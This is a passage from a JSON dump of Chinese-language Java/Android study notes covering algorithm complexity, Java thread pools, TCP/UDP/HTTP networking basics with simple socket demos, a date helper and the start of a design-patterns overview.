sum++；\n}\n```\n\n上面代码中第一行频度1，第二行频度为`n`，第三行频度为n，所以`f(n)=n+n+1=2n+1`。所以时间复杂度`O(n)`。这一类算法中操作次数和`n`正比线性增长。\n\n##### 对数阶\n\n`O(logn)`一个算法如果能在每个步骤去掉一半数据元素，如二分检索，通常它就取`O(logn)`时间。举个栗子:  \n```java\nint i=1; \n\nwhile (i<=n) {\n    i=i*2; \n}\n```\n上面代码设第三行的频度是`f(n)`,   则：2的`f(n)`次方`<=n`;`f(n)<=log₂n`，取最大值`f(n)= log₂n`，所以`T(n)=O(log₂n )`。\n\n\n##### 平方阶\n\n`O(n²)`（n的k次方的情况）最常见的就是平时的对数组进行排序的各种简单算法都是`O(n²)`，例如直接插入排序的算法。\n\n```java\nsum=0；                \nfor(i=0;i<n;i++) {\n    for(j=0;j<n;j++) {\n        sum++；\n    }\n}\n```\n第一行频度1，第二行`n`，第三行`n²`，第四行`n²`，`T(n)=2n²+n+1 =O(n²)`\n\n##### 指数阶\n\nO(2的`n`次方) 比如求具有`n`个元素集合的所有子集的算法 \n\n##### 阶乘阶\n\n`O(n!)`比如求具有`n`个元素的全排列的算法\n\n时间复杂度按n越大算法越复杂来排的话:\n\n常数阶`O(1)`、对数阶`O(logn)`、线性阶`O(n)`、线性对数阶`O(nlogn)`、平方阶`O(n²)`、立方阶`O(n³)`、……`k`次方阶`O`(`n`的`k`次方)、指数阶`O`(2的`n`次方)。\n\n\n\n空间复杂度\n---\n\n算法的空间复杂度并不是计算实际占用的空间，而是计算整个算法的辅助空间单元的个数，与问题的规模没有关系。算法的空间复杂度`S(n)`定义为该算法所耗费空间的数量级。\n`S(n)=O(f(n))`若算法执行时所需要的辅助空间相对于输入数据量`n`而言是一个常数，则称这个算法的辅助空间为`O(1)`; \n递归算法的空间复杂度:递归深度`N*`每次递归所要的辅助空间， 如果每次递归所需的辅助空间是常数，则递归的空间复杂度是`O(N)`.\n\n空间复杂度的分析方法:   \n\n- 一个算法的空间复杂度`S(n)`定义为该算法所耗费的存储空间，它也是问题规模`n`的函数。空间复杂度是对一个算法在运行过程中临时占用存储空间大小的量度。\n- 一个算法在计算机存储器上所占用的存储空间，包括存储算法本身所占用的存储空间，算法的输入输出数据所占用的存储空间和算法在运行过程中临时占用的存储空间这三个方面。\n- 一个算法的空间复杂度只考虑在运行过程中为局部变量分配的存储空间的大小，它包括为参数表中形参变量分配的存储空间和为在函数体中定义的局部变量分配的存储空间两个部分。\n\n　　算法的空间复杂度一般也以数量级的形式给出。如当一个算法的空间复杂度为一个常量，即不随被处理数据量`n`的大小而改变时，可表示为`O(1)`；\n　　当一个算法的空间复杂度与以2为底的`n`的对数成正比时，可表示为`O(log2n)`；\n　　当一个算法的空间复杂度与`n`成线性比例关系时，可表示为`O(n)`。若形参为数组，则只需要为它分配一个存储由实参传送来的一个地址指针的空间，\n　　即一个机器字长空间；若形参为引用方式，则也只需要为其分配存储一个地址的空间，用它来存储对应实参变量的地址，\n　　以便由系统自动引用实参变量。\n\n空间复杂度补充:      \n\n一个程序的空间复杂度是指运行完一个程序所需内存的大小。利用程序的空间复杂度，可以对程序的运行所需要的内存多少有个预先估计。\n一个程序执行时除了需要存储空间和存储本身所使用的指令、常数、变量和输入数据外，还需要一些对数据进行操作的工作单元和存储一些为现实计算所需信息的辅助空间。\n程序执行时所需存储空间包括以下两部分:      　　\n\n- 固定部分。这部分空间的大小与输入/输出的数据的个数多少、数值无关。主要包括指令空间（即代码空间）、数据空间（常量、简单变量）等所占的空间。这部分属于静态空间。\n- 可变空间，这部分空间的主要包括动态分配的空间，以及递归栈所需的空间等。这部分的空间大小与算法有关。一个算法所需的存储空间用`f(n)`表示。`S(n)=O(f(n))`其中`n`为问题的规模，`S(n)`表示空间复杂度。\n\n\n时间与空间复杂度比较\n---\n\n对于一个算法，其时间复杂度和空间复杂度往往是相互影响的。当追求一个较好的时间复杂度时，可能会使空间复杂度的性能变差，\n即可能导致占用较多的存储空间；反之，当追求一个较好的空间复杂度时，可能会使时间复杂度的性能变差，即可能导致占用较长的运行时间。\n另外，算法的所有性能之间都存在着或多或少的相互影响。因此，当设计一个算法（特别是大型算法）时，要综合考虑算法的各项性能，算法的使用频率，算法处理的数据量的大小，算法描述语言的特性，算法运行的机器系统环境等各方面因素，才能够设计出比较好的算法。\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/线程池简介.md",
    "content": "线程池的原理\n===\n\n所谓线程池，就是将多个线程放在一个池子里面（所谓池化技术），然后需要线程的时候不是创建一个线程，而是从线程池里面获取一个可用的线程，然后执行我们的任务。线程池的关键在于它为我们管理了多个线程，我们不需要关心如何创建线程，我们只需要关系我们的核心业务，然后需要线程来执行任务的时候从线程池中获取线程。任务执行完之后线程不会被销毁，而是会被重新放到池子里面，等待机会去执行任务。\n\n\n\n- 在什么情况下使用线程池？ \n    - 单个任务处理的时间比较短 \n    - 将需处理的任务的数量大 \n\n    假设一个服务器完成一项任务所需时间为：`T1`创建线程时间，`T2`在线程中执行任务的时间，`T3`销毁线程时间。如果:`T1 + T3`远大于`T2`，则可以采用线程池，以提高服务器性能。\n\n\n- 一个线程池包括以下四个基本组成部分:      \n\n    - 线程池管理器（`ThreadPool`）:用于创建并管理线程池，包括 创建线程池，销毁线程池，添加新任务\n    - 工作线程（`PoolWorker`）:线程池中线程，在没有任务时处于等待状态，可以循环的执行任务\n    - 任务接口（`Task`）:每个任务必须实现的接口，以供工作线程调度任务的执行，它主要规定了任务的入口，任务执行完后的收尾工作，任务的执行状态等\n    - 任务队列（`TaskQueue`）:用于存放没有处理的任务。提供一种缓冲机制。\n\n    \n- 使用线程池的好处:        \n    - 减少在创建和销毁线程上所花的时间以及系统资源的开销 \n    - 如不使用线程池，有可能造成系统创建大量线程而导致消耗完系统内存以及”过度切换”。 \n\t- 提交相应速度\n\t\n- 工作流程            \n    线程池的任务就在于负责这些线程的创建，销毁和任务处理参数传递、唤醒和等待。\n    - 创建若干线程，置入线程池\n    - 任务达到时，从线程池取空闲线程\n    - 取得了空闲线程，立即进行任务处理\n    - 否则新建一个线程，并置入线程池，执行3\n    - 如果创建失败或者线程池已满，根据设计策略选择返回错误或将任务置入处理队列，等待处理\n    - 销毁线程池\n\t\n- 风险           \n    虽然线程池是构建多线程应用程序的强大机制，但使用它并不是没有风险的。\n\t用线程池构建的应用程序容易遭受任何其它多线程应用程序容易遭受的所有并发风险，诸如同步错误和死锁，\n\t它还容易遭受特定于线程池的少数其它风险，诸如与池有关的死锁、资源不足和线程泄漏。\n\t\n- 资源不足                  \n    线程池的一个优点在于：相对于其它替代调度机制而言，它们通常执行得很好。但只有恰当地调整了线程池大小时才是这样的。\n\t线程消耗包括内存和其它系统资源在内的大量资源。除了`Thread`对象所需的内存之外，每个线程都需要两个可能很大的执行调用堆栈。\n\t除此以外`JVM`可能会为每个`Java`线程创建一个本机线程，这些本机线程将消耗额外的系统资源。最后虽然线程之间切换的调度开销很小，\n\t但如果有很多线程，环境切换也可能严重地影响程序的性能。\n    如果线程池太大，那么被那些线程消耗的资源可能严重地影响系统性能。在线程之间进行切换将会浪费时间，\n\t而且使用超出比您实际需要的线程可能会引起资源匮乏问题，因为池线程正在消耗一些资源，而这些资源可能会被其它任务更有效地利用。\n\t除了线程自身所使用的资源以外，服务请求时所做的工作可能需要其它资源，例如`JDBC`连接、套接字或文件。\n\t这些也都是有限资源，有太多的并发请求也可能引起失效，例如不能分配`JDBC`连接。\t\n\t\n\n线程池的使用\n---\n\n\n`java.uitl.concurrent.ThreadPoolExecutor`类是线程池中最核心的一个类:    \n\n```java\npublic class ThreadPoolExecutor extends AbstractExecutorService {\n    .....\n    public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,\n            BlockingQueue<Runnable> workQueue);\n \n    public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,\n            BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory);\n \n    public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,\n            BlockingQueue<Runnable> workQueue,RejectedExecutionHandler handler);\n \n    public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,\n        BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler);\n    ...\n}\n```\n\n上面构造器中各参数的含义:    \n\n- `corePoolSize`:核心池的大小。在创建了线程池后，默认情况下，线程池中并没有任何线程，而是等待有任务到来才创建线程去执行任务，\n除非调用了`prestartAllCoreThreads()`或者`prestartCoreThread()`方法，从这2个方法的名字就可以看出，是预创建线程的意思，即在没有任务到来之前就创建`corePoolSize`个线程或者一个线程。默认情况下，在创建了线程池后，线程池中的线程数为0，当有任务来之后，就会创建一个线程去执行任务，当线程池中的线程数目达到`corePoolSize`后，就会把到达的任务放到缓存队列当中；\n\n- `maximumPoolSize`:线程池最大线程数，这个参数也是一个非常重要的参数，它表示在线程池中最多能创建多少个线程；\n- `keepAliveTime`:表示线程没有任务执行时最多保持多久时间会终止。默认情况下，只有当线程池中的线程数大于`corePoolSize`时，`keepAliveTime`才会起作用，直到线程池中的线程数不大于`corePoolSize`，即当线程池中的线程数大于`corePoolSize`时，如果一个线程空闲的时间达到`keepAliveTime`，则会终止，直到线程池中的线程数不超过`corePoolSize`。但是如果调用了`allowCoreThreadTimeOut(boolean)`方法，在线程池中的线程数不大于`corePoolSize`时，`keepAliveTime`参数也会起作用，直到线程池中的线程数为0；     \n- `unit`:参数`keepAliveTime`的时间单位，有7种取值，在`TimeUnit`类中有7种静态属性:      \n\n    - `TimeUnit.DAYS`\n    - `TimeUnit.HOURS`\n    - `TimeUnit.MINUTES`\n    - `TimeUnit.SECONDS`       \n    - `TimeUnit.MILLISECONDS`  \n    - `TimeUnit.MICROSECONDS`  \n    - `TimeUnit.NANOSECONDS`\n\n- `workQueue`:一个阻塞队列，用来存储等待执行的任务，这个参数的选择也很重要，会对线程池的运行过程产生重大影响，一般来说，这里的阻塞队列有以下几种选择:     \n\n    - `ArrayBlockingQueue`:基于数组的先进先出队列，此队列创建时必须指定大小；\n    - `LinkedBlockingQueue`:基于链表的先进先出队列，如果创建时没有指定此队列大小，则默认为Integer.MAX_VALUE；\n    - `SynchronousQueue`:这个队列比较特殊，它不会保存提交的任务，而是将直接新建一个线程来执行新来的任务。\n    - `PriorityBlockingQuene`:具有优先级的无界阻塞队列\n\n- `threadFactory`:线程工厂，主要用来创建线程\n- `handler`:表示当拒绝处理任务时的策略，有以下四种取值:      \n    \n    - `ThreadPoolExecutor.AbortPolicy`:丢弃任务并抛出`RejectedExecutionException`异常     \n    - `ThreadPoolExecutor.DiscardPolicy`:也是丢弃任务，但是不抛出异常   \n    - `ThreadPoolExecutor.DiscardOldestPolicy`:丢弃队列最前面的任务，然后重新尝试执行任务（重复此过程）\n    - `ThreadPoolExecutor.CallerRunsPolicy`:由调用线程处理该任务\n\n\n\n线程池状态\n---\n\n`ThreadPoolExecutor`中定义了一个`volatile`变量，另外定义了几个`static final`变量表示线程池的各个状态:    \n\n- `volatile int runState;`       \n- `static final int RUNNING    = -1;`当创建线程池后，初始时，线程池处于`RUNNING`状态；\n- `static final int SHUTDOWN   = 0;`如果调用了`shutdown()`方法，则线程池处于`SHUTDOWN`状态，此时线程池不能够接受新的任务，它会等待所有任务执行完毕\n- `static final int STOP       = 1;`如果调用了`shutdownNow()`方法，则线程池处于`STOP`状态，此时线程池不能接受新的任务，并且会去尝试终止正在执行的任务；\n- `static final int TIDYING    = 2;`该状态表示线程池对线程进行整理优化；\n- `static final int TERMINATED = 3;`当线程池处于`SHUTDOWN`或`STOP`状态，并且所有工作线程已经销毁，任务缓存队列已经清空或执行结束后，线程池被设置为`TERMINATED`状态\n`runState`表示当前线程池的状态，它是一个`volatile`变量用来保证线程之间的可见性；\n\n\n`Executors`类\n---\n\n不过在`java doc`中，并不提倡我们直接使用`ThreadPoolExecutor`，而是使用`Executors`类中提供的几个静态方法来创建线程池:     \n\n- `Executors.newCachedThreadPool();`        //创建一个可缓存线程池，缓冲池容量大小为`Integer.MAX_VALUE`\n- `Executors.newSingleThreadExecutor();`   //创建容量为1的缓冲池，即线程池中每次只有一个线程工作，单线程串行执行任务，\n- `Executors.newFixedThreadPool(int);`    //创建固定容量大小的缓冲池，固定数量的线程池，没提交一个任务就是一个线程，直到达到线程池的最大数量，然后后面进入等待队列直到前面的任务完成才继续执行\n- `Executors.newScheduleThreadExecutor();`// 大小无限制的线程池，能按时间计划来执行任务，允许用户设定计划执行任务的时间。在实际的业务场景中可以使用该线程池定期的同步数据。\n\n这几个个方法的具体实现:       \n\n```java\npublic static ExecutorService newFixedThreadPool(int nThreads) {\n    return new ThreadPoolExecutor(nThreads, nThreads,\n                                  0L, TimeUnit.MILLISECONDS,\n                                  new LinkedBlockingQueue<Runnable>());\n}\npublic static ExecutorService newSingleThreadExecutor() {\n    return new FinalizableDelegatedExecutorService\n        (new ThreadPoolExecutor(1, 1,\n                                0L, TimeUnit.MILLISECONDS,\n                                new LinkedBlockingQueue<Runnable>()));\n}\npublic static ExecutorService newCachedThreadPool() {\n    return new ThreadPoolExecutor(0, Integer.MAX_VALUE,\n                                  60L, TimeUnit.SECONDS,\n                                  new SynchronousQueue<Runnable>());\n}\n\npublic static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) {\n    return new ScheduledThreadPoolExecutor(corePoolSize);\n}\n\n```\n\n\n\n从它们的具体实现来看，它们实际上也是调用了`ThreadPoolExecutor`，只不过参数都已配置好了:      \n\n- `newFixedThreadPool`创建的线程池`corePoolSize`和`maximumPoolSize`值是相等的，它使用的`LinkedBlockingQueue`；\n- `newSingleThreadExecutor`将`corePoolSize`和`maximumPoolSize`都设置为1，也使用的`LinkedBlockingQueue`；\n- `newCachedThreadPool`将`corePoolSize`设置为0，将`maximumPoolSize`设置为`Integer.MAX_VALUE`，使用的`SynchronousQueue`，也就是说来了任务就创建线程运行，当线程空闲超过`60`秒，就销毁线程。\n- `newScheduledThreadPool`:`maximumPoolSize``Integer.MAX_VALUE`使用`DelayedWorkQueue())`。\n\n实际中，如果`Executors`提供的三个静态方法能满足要求，就尽量使用它提供的三个方法，因为自己去手动配置`ThreadPoolExecutor`的参数有点麻烦，要根据实际任务的类型和数量来进行配置。\n\n\n向线程池提交任务\n---\n\n有两种方式:      \n\n- `Executor.execute(Runnable command);`\n- `ExecutorService.submit(Callable<T> task);`\n\n##### `execute()`内部实现     \n\n- 首次通过`workCountof()`获知当前线程池中的线程数，如果小于`corePoolSize`, 就通过`addWorker()`创建线程并执行该任务；否则，将该任务放入阻塞队列；\n- 如果能成功将任务放入阻塞队列中,如果当前线程池是非RUNNING状态，则将该任务从阻塞队列中移除，然后执行`reject()`处理该任务；如果当前线程池处于RUNNING状态，则需要再次检查线程池（因为可能在上次检查后，有线程资源被释放），是否有空闲的线程；如果有则执行该任务；\n- 如果不能将任务放入阻塞队列中,说明阻塞队列已满；那么将通过`addWoker()`尝试创建一个新的线程去执行这个任务；如果`addWoker()`执行失败，说明线程池中线程数达到`maxPoolSize`,则执行`reject()`处理任务；\n\n\n##### `submit()`内部实现    \n\n会将提交的`Callable`任务会被封装成了一个`FutureTask`对象，`FutureTask`类实现了`Runnable`接口，这样就可以通过`Executor.execute()`提交`FutureTask`到线程池中等待被执行，最终执行的是`FutureTask`的`run`方法； \n\n比较:     \n\n两个方法都可以向线程池提交任务，`execute()`方法的返回类型是`void`，它定义在`Executor`接口中, 而`submit()`方法可以返回持有计算结果的`Future`对象，它定义在`ExecutorService`接口中，它扩展了`Executor`接口，其它线程池类像`ThreadPoolExecutor`和`ScheduledThreadPoolExecutor`都有这些方法。 \n\n\n\n线程池的关闭\n---\n\n`ThreadPoolExecutor`提供了两个方法，用于线程池的关闭:      \n\n- `shutdown()`:不会立即终止线程池，而是要等所有任务缓存队列中的任务都执行完后才终止，但再也不会接受新的任务\n- `shutdownNow()`:立即终止线程池，并尝试打断正在执行的任务，并且清空任务缓存队列，返回尚未执行的任务\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/网络请求相关内容总结.md",
    "content": "网络请求相关内容总结\n===\n\n网络数据传输，熟悉多线程、Socket网络编程、熟悉TCP、UDP、HTTP等协议\n\n- 网络编程概述：       \n\t- 网络模型：      \n\t\t- OSI模型      \n\t\t\t- 应用层      \n\t\t\t- 表示层     \n\t\t\t- 会话层      \n\t\t\t- 传输层      \n\t\t\t- 网络层       \n\t\t\t- 数据连接层        \n\t\t\t- 物理层       \n\t\t- TCP/IP模型       \n\t\t\t- 应用层       \n\t\t\t- 传输层         \n\t\t\t- 网际层      \n\t\t\t- 主机至网络层           \n\t\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/TCP-IP-model-vs-OSI-model.png?raw=true)       \n\t\t\t\n\t- 网络通讯要素      \n\t\t- IP地址    \n\t\t- 端口号      \n\t\t- 传输协议   \n\t- 网络通讯前提：   \n\t\t- 找到对方IP        \n\t\t- 数据要发送到指定端口。为了标示不同的应用程序，所以给这些网络应用程序都用数字进行标示这个表示就叫端口      \n\t\t- 定义通信规则。这个规则称为通信协议，国际组织定义了通用协议TCP/IP       \n\t\t\n- TCP和UDP的区别：      \n\t- UDP协议：     \n\t\t面向无连接    \n\t\t每个数据报的大小在限制在64k内        \n\t\t因为是面向无连接，所以是不可靠协议       \n\t\t不需要建立连接，速度快      \n\t- TCP协议：       \n\t\t必须建立连接，形成传输数据的通道         \n\t\t在连接中可进行大数据量传输      \n\t\t通过三次握手完成连接，是可靠协议         \n\t\t必须建立连接，效率会稍低        \n\t\t\n\t\t三次握手：        \n\t\t- 第一次：我问你：在么? 建立连接时，客户端A发送SYN包（SYN=j）到服务器B，并进入SYN_SEND状态，等待服务器B确认。\n\t\t- 第二次：你回答：在。服务器B收到SYN包，必须确认客户A的SYN（ACK=j+1），同时自己也发送一个SYN包（SYN=k），即SYN+ACK包，此时服务器B进入SYN_RECV状态。\n\t\t- 第三次：我反馈：哦，我知道你在了。客户端A收到服务器B的SYN＋ACK包，向服务器B发送确认包ACK（ACK=k+1），此包发送完毕，客户端A和服务器B进入ESTABLISHED状态，完成三次握手。     \n\t\t\n\t\t四次挥手： \n\t\t- 客户端A发送一个FIN，用来关闭客户A到服务器B的数据传送。 \n        - 服务器B收到这个FIN，它发回一个ACK，确认序号为收到的序号加1。和SYN一样，一个FIN将占用一个序号。 \n        - 服务器B关闭与客户端A的连接，发送一个FIN给客户端A。 \n        - 客户端A发回ACK报文确认，并将确认序号设置为收到序号加1。 \n\n- Socket：        \n    - Socket是对TCP/IP协议的封装和应用。Socket本身并不是协议，而是一个调用接口。通过Socket，我们才能使用TCP/IP协议.在设计模式中Socket其实就是一个门面模式。\n\t 他将复杂的TCP/IP协议归隐到Socket接口后面，对于使用来说，一组简单的接口就是全部，让Socket去组织符合制定协议的数据。\n\t- Socket就是为网络服务提供的一种机制        \n\t- 通信的两端都有Socket       \n\t- 网络通信其实就是Socket间的通信      \n\t- 数据在两个Socket间通过IO传输         \n\t- 玩Socket主要就是记住流程，代码查文档就行             \n\t\n- UDP(User Datagram Protocol)：用户数据协议            \n\t- UDP概述：       \n\t\t需要DatagramSocket与DatagramPacket对象来实现UDP协议传输数据       \n\t\tUDP协议是一种面向无连接的协议。面向无连接的协议指的是正式通信前不必与对方先建立连接，不管对方连接状态就直接发送数据。     \n\t- UDP协议开发步骤：     \n\t\t- 发送端：         \n\t\t\t- 建立DatagramSocket服务；          \n\t\t\t- 提供数据，并将数据封装到字节数组中；       \n\t\t\t- 创建DatagramPacket数据包，并把数据封装到包中，同时指定接收端IP和接收端口       \n\t\t\t- 通过Socket服务，利用send方法将数据包发送出去；       \n\t\t\t- 关闭DatagramSocket和DatagramPacket服务。        \n\t\t- 接收端：           \n\t\t\t- 建立DatagramSocket服务，并监听一个端口；         \n\t\t\t- 定义一个字节数组和一个数据包，同时将数组封装进数据包；          \n\t\t\t- DatagramPacket的receive方法，将接收的数据存入定义好的数据包；      \n\t\t\t- 通过DatagramPacke关闭的方法，获取发送数据包中的信息；       \n\t\t\t- 关闭DatagramSocket和DatagramPacket服务。       \n\t- UDP协议的Demo(必须掌握)：    \n\t\t- 发送端：     \n\t\t\n\t\t\t```java\n\t\t\tclass UDPSend {\n\t\t\t\tpublic static void main(String[] args) throws Exception {\n\t\t\t\t\tDatagramSocket ds = new DatagramSocket();\n\t\t\t\t\tbyte[] buf = \"这是UDP发送端\".getBytes();\n\t\t\t\t\tDatagramPacket dp = new DatagramPacket(\n\t\t\t\t\t\tbuf,buf.length,InetAddress.getByName(\"192.168.1.253\"),10000);\n\t\t\t\t\tds.send(dp);\n\t\t\t\t\tds.close();\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t- 接收端        \n\t\t\n\t\t\t```java\n\t\t\tclass UDPRece {\n\t\t\t\tpublic static void main(String[] args) throws Exception {\n\t\t\t\t\tDatagramSocket ds = new DatagramSocket(10000);\n\t\t\t\t\tbyte[] buf = new byte[1024];\n\t\t\t\t\tDatagramPacket dp = new DatagramPacket(buf,buf.length);\n\t\t\t\t\tds.receive(dp);//将发送端发送的数据包接收到接收端的数据包中\n\t\t\t\t\tString ip = dp.getAddress().getHosyAddress();//获取发送端的ip\n\t\t\t\t\tString data = new String(dp.getData(),0,dp.getLength());//获取数据\n\t\t\t\t\tint port = dp.getPort();//获取发送端的端口号\n\t\t\t\t\tsop(ip+\":\"+data+\":\"+port);\n\t\t\t\t\tds.close();\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n- TCP/IP协议：Socket和ServerSocket        \n\t- 基于TCP协议的网络通信概述：        \n\t\t- TCP/IP通信协议是一种必须建立连接的可靠的网络通信协议。它在通信两端各建立一个Socket,从而在通信的两端之间形成网络虚拟链路。      \n\t\t- 网络虚拟链路一旦建立，两端的程序就可以进行通信。    \n\t- TCP/IP协议开发步骤：       \n\t\t- 客户端：       \n\t\t\t- 建立Socket服务，并指定要连接的主机和端口；      \n\t\t\t- 获取Socket流中的输出流OutputStream，将数据写入流中，通过网络发送给服务端；          \n\t\t\t- 获取Socket流中的输出流InputStream，获取服务端的反馈信息；         \n\t\t\t- 关闭资源。          \n\t\t- 服务端：      \n\t\t\t- 建立ServerSocket服务，并监听一个端口；         \n\t\t\t- 通过ServerSocket服务的accept方法，获取Socket服务对象；        \n\t\t\t- 使用客户端对象的读取流获取客户端发送过来的数据；          \n\t\t\t- 通过客户端对象的写入流反馈信息给客户端；         \n\t\t\t- 关闭资源        \n\t\t\t\n\t- TCP/IP协议的一个Demo(必须要掌握！)：          \n\t\t- 客户端：     \n\t\t\n\t\t\t```java\n\t\t\tclass TCPClient {\n\t\t\t\tpublic static void main(String[] args) {\n\t\t\t\t\tSocket s = new Socket(\"192.168.1.253\",10000);\n\t\t\t\t\tOutputStream os = s.getOutputStream();\n\t\t\t\t\tout.write(\"这是TCP发送的数据\".getBytes());\n\t\t\t\t\ts.close();\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t- 服务端：\n\t\t\n\t\t\t```java\n\t\t\tclass TCPServer {\n\t\t\t\tpublic static void main(String[] args) {\n\t\t\t\t\tServerSocket ss = new ServerSocket(10000);\n\t\t\t\t\tSocket s = ss.accept();\n\n\t\t\t\t\tString ip = s.getInetAddress().getHostAddress();\n\t\t\t\t\tsop(ip);\n\n\t\t\t\t\tInputStream is = s.getInputStream();\n\t\t\t\t\tbyte[] buf = new byte[1024];\n\t\t\t\t\tint len = is.read(buf);\n\t\t\t\t\tsop(new String(buf,0,len));\n\t\t\t\t\ts.close();\n\t\t\t\t\tss.close();\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t\n- HTTP协议：\n\t- HTTP是Hyper Text Transfer Protocol的缩写\n\t- 是由W3C制定和维护的。目前版本为1.0和1.1\n\t- 是开发web的基石，非常地重要\n\t- Http虽然本身是一个协议，但是最终还是基于TCP的。\n\t- 首先由客户建立一条与服务器的TCP连接，然后发送一个请求到服务器，服务器向再进行响应。一次TCP连接的建立将需要3次握手。\n\t-  版本\n\t\t- 1.0版本：是无状态的协议，即一次连接只响应一次请求，响应完了就关闭此次连接要想再访问须重新建立连接。而连接都是比较耗资源的。\n\t\t- 1.1版本：是有状态的协议。即可以在一次网络连接基础上发出多次请求和得到多次的响应。当距离上次请求时间过长时，服务器会自动断掉连接，这就是超时机制。\n\t- HTTP协议的组成：        \n\t\t- 请求部分：         \n\t\t\t- 请求行：           \n\t\t\t\t- GET / HTTP/1.1  包含：请求方式GET 请求的资源路径：/ 协议版本号：HTTP/1.1             \n\t\t\t\t\t- 请求方式。常用的有GET、POST            \n\t\t\t\t\t\t- GET方式：默认方式。直接输入的网址。           \n\t\t\t\t\t\t\t- 表单数据出现在请求行中。url?username=abc&password=123          \n\t\t\t\t\t\t\t- 特点：不安全；有长度限制：<1k           \n\t\t\t\t\t\t- POST方式：可以通过表单form method=\"post\"设置           \n\t\t\t\t\t\t\t- 表单数据会出现在正文中。           \n\t\t\t\t\t\t\t- 特点：安全；没有长度限制              \n\t\t\t- 请求消息头：           \n\t\t\t- 请求正文：第一个空行之后的全部都是请求正文             \n\t\t- 响应部分：            \n\t\t\t- 响应行：          \n\t\t\t\t- HTTP/1.1 200 OK    包含：协议版本号:HTTP/1.1 响应码:200 描述:OK              \n\t\t\t\t\t- 响应码：(实际用到的30个左右,其他都是W3C保留的)              \n\t\t\t\t\t- 描述：对响应码的描述             \n\t\t\t\t\t- 常用响应码：            \n\t\t\t\t\t\t- 200：一切正常            \n\t\t\t\t\t\t- 302/307:请求的资源路径变更了            \n\t\t\t\t\t\t- 304：资源没有被修改过         \n\t\t\t\t\t\t- 404：资源不存在,找不到资源           \n\t\t\t\t\t\t- 500：服务器程序有错\t         \n\t\t\t- 响应消息头：       \n\t\t\t- 响应正文：           \n\t\t\t\t- 第一个空行之后的全部都是响应正文，浏览器显示的就是正文中的内容\n\n- HTTPS\n    HTTPS（Secure Hypertext Transfer Protocol）安全超文本传输协议\n    它是一个安全通信通道，它基于HTTP开发，用于在客户计算机和服务器之间交换信息。它使用安全套接字层(SSL)进行信息交换，简单来说它是HTTP的安全版。\t\t\t\t\n\n- HTTPS和HTTP的区别：\n    - https协议需要到证书颁发机构（Certificate Authority，简称CA）申请证书，一般免费证书很少，需要交费。\n    - http是超文本传输协议，信息是明文传输，https则是具有安全性的ssl加密传输协议\n    - http和https使用的是完全不同的连接方式用的端口也不一样,前者是80,后者是443。\n    - http的连接很简单,是无状态的\n    - HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议 要比http协议安全\n\t\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/获取今后多少天后的日期.md",
    "content": "获取今后多少天后的日期\n===\n\n```java\n/**\n * Get the date some days later.\n * @param year the year\n * @param month month of the year\n * @param day day of the month\n * @return if the parameter is illegal this will return null\n */\n@SuppressLint(\"SimpleDateFormat\")\nprivate static String getClosingDate(int year, int month, int day) {\n    final int internalDay = 31;\n    final String pattern = \"yyyy-MM-dd\";\n    DateFormat dateFormat = new SimpleDateFormat(pattern);\n    Date closingDate;\n    try {\n        Calendar thisDay = Calendar.getInstance();\n        thisDay.set(Calendar.YEAR, year);\n        thisDay.set(Calendar.MONTH, month - 1);// the first month of the year is 0.\n        thisDay.set(Calendar.DAY_OF_MONTH, day);\n        thisDay.add(Calendar.DAY_OF_MONTH, internalDay);\n        closingDate = thisDay.getTime();\n    } catch (Exception e) {\n        e.printStackTrace();\n        return null;\n    }\n    return dateFormat.format(closingDate);\n}\n```\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/设计模式.md",
    "content": "设计模式(Design Patterns)\n===\n\n设计模式`(Design pattern)`是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性。 \n毫无疑问，设计模式于己于他人于系统都是多赢的，设计模式使代码编制真正工程化，设计模式是软件工程的基石，如同大厦的一块块砖石一样。\n项目中合理的运用设计模式可以完美的解决很多问题，每种模式在现在中都有相应的原理来与之对应，每一个模式描述了一个在我们周围不断重复发生的问题，以及该问题的核心解决方案，这也是它能被广泛应用的原因。\n\n\n设计模式的分类\n---\n\n总体来说设计模式分为三类:     \n\n- 创建型模式:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。\n- 结构型模式:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。\n- 行为型模式:策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。\n\n\n设计模式的六大原则\n---\n\n- 开闭原则`(Open Close Principle)`             \n    开闭原则就是说对扩展开放，对修改关闭。在程序需要进行拓展的时候，不能去修改原有的代码，实现一个热插拔的效果。所以一句话概括就是:\n    为了使程序的扩展性好，易于维护和升级。想要达到这样的效果，我们需要使用接口和抽象类，后面的具体设计中我们会提到这点。\n\n- 里氏代换原则`（Liskov Substitution Principle）`        \n    里氏代换原则面向对象设计的基本原则之一。 里氏代换原则中说，任何基类可以出现的地方，子类一定可以出现。 `LSP`是继承复用的基石，只有当衍生类可以替换掉基类，\n    软件单位的功能不受到影响时，基类才能真正被复用，而衍生类也能够在基类的基础上增加新的行为。\n    